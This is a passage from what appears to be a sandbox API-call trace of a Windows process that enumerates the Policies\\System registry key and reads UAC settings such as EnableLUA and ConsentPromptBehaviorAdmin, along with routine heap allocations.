lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0xf7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0033.811] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0033.811] RegCloseKey (hKey=0x38) returned 0x0 [0033.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0xf7b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0xf7c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0033.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0xf7b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0xf7c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0033.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0xf7b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0033.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xf7c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0033.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0xf7b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0033.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0xf7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0033.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0xf7b930, cchName=0x104 | out: lpName="System") returned 0x0 [0033.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0033.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0xf7c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0033.812] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0033.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b930) returned 1 [0033.812] RegCloseKey (hKey=0xc4) returned 0x0 [0033.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b860) returned 1 [0033.812] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.812] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.812] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.812] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.813] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0033.813] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0033.813] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0xf7c438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xf7c438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0033.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c438) returned 1 [0033.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5a0) returned 1 [0033.814] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7b860 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b878 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5a0 [0033.814] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b888 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c438 [0033.814] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b898 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c558 [0033.814] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b930 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c510 [0033.814] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x20) returned 0xf7b940 [0033.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b860) returned 1 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b860 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c4c8 [0033.814] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b968 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c480 [0033.814] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b978 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c3f0 [0033.814] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b988 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c3a8 [0033.814] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x30) returned 0xf7b998 [0033.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b940) returned 1 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b940 [0033.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c360 [0033.814] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b950 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c318 [0033.815] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b9d0 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c2d0 [0033.815] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b9e0 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.815] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c240 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b998) returned 1 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b998 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1f8 [0033.815] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7b9a8 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1b0 [0033.815] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d1e8 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c168 [0033.815] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d1f8 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.815] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5a0) returned 1 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b878) returned 1 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c438) returned 1 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b888) returned 1 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c558) returned 1 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b898) returned 1 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c510) returned 1 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b930) returned 1 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c4c8) returned 1 [0033.815] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b860) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c480) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b968) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c3f0) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b978) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c3a8) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b988) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c360) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b940) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c318) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b950) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c2d0) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b9d0) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b9e0) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1f8) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b998) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1b0) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7b9a8) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c168) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d1e8) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d1f8) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c240) returned 1 [0033.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c240 [0033.816] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0033.816] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0xf7c240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xf7c240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c240) returned 1 [0033.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.816] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d1f8 [0033.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.816] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d1e8 [0033.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c240 [0033.816] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d208 [0033.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.817] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d218 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c168 [0033.817] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x20) returned 0xf7b860 [0033.817] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d228 [0033.817] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1b0 [0033.817] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, 